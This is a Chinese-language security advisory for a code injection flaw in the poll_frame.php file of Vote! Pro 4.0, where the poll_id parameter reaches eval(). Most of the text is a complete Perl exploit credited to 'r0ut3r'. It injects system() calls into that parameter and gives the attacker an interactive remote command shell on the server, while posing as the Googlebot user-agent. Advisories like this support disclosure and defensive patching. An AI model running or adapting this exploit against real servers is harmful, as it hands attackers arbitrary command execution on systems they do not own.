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受影响系统：
Vote! Pro Vote! Pro 4.0
描述：
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Vote!Pro是一个可以自定义的在线投票和调查程序。
Vote!Pro处理有用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。
Vote!Pro的poll_frame.php文件没有正确地过滤eval()调用所使用的poll_id参数，允许攻击者通过提交特制的参数值注入并执行任意PHP代码。
<*来源：r0ut3r （writ3r@gmail.com）
链接：http://secunia.com/advisories/23834/
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#################################################################################################
# r0ut3r Presents... #
# #
# Another r0ut3r discovery! #
# writ3r [at] gmail.com #
# #
# Vote-Pro Code Injection 0day Exploit #
#################################################################################################
# Software: Vote-Pro 4.0 #
# #
# Vendor: http://www.vote-pro.com/ #
# #
# Released: 2007/01/23 #
# #
# Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com) #
# #
# Note: The information provided in this document is for Vote-Pro administrator #
# testing purposes only! #
#################################################################################################
use IO::Socket;
$port = "80"; # connection port
$target = shift; # vote-pro.com
$folder = shift; # /votepro/
sub Header()
{
print q
{Vote-Pro Code Injection Exploit - writ3r [at] gmail.com
-------------------------------------------------------
};
}
sub Usage()
{
print q
{
Usage: votecmd.pl [target] [directory]
Example: votecmd.pl vote-pro.com /votepro/
};
exit();
}
Header();
if (!$target || !$folder) {
Usage(); }
print "[+] Connecting...\n";
$cmd = "dir";
while ($cmd !~ "exit")
{
$xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
print $xpack "GET ".$folder."poll_frame.php?poll_id=hyphy;system($_GET[com]);&com=".substr($cmd, 0, -1)."; HTTP/1.1\n";
print $xpack "Host: $target\n";
print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
print $xpack "Accept: text/html\n";
print $xpack "Connection: keep-alive\n\n";
print "[cmd]\$ ";
$cmd = <STDIN>;
$cmd =~ s/ /%20/g;
}
print "[!] Connection to host lost...\n";
建议：
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厂商补丁：
Vote! Pro
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目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.vote-pro.com/
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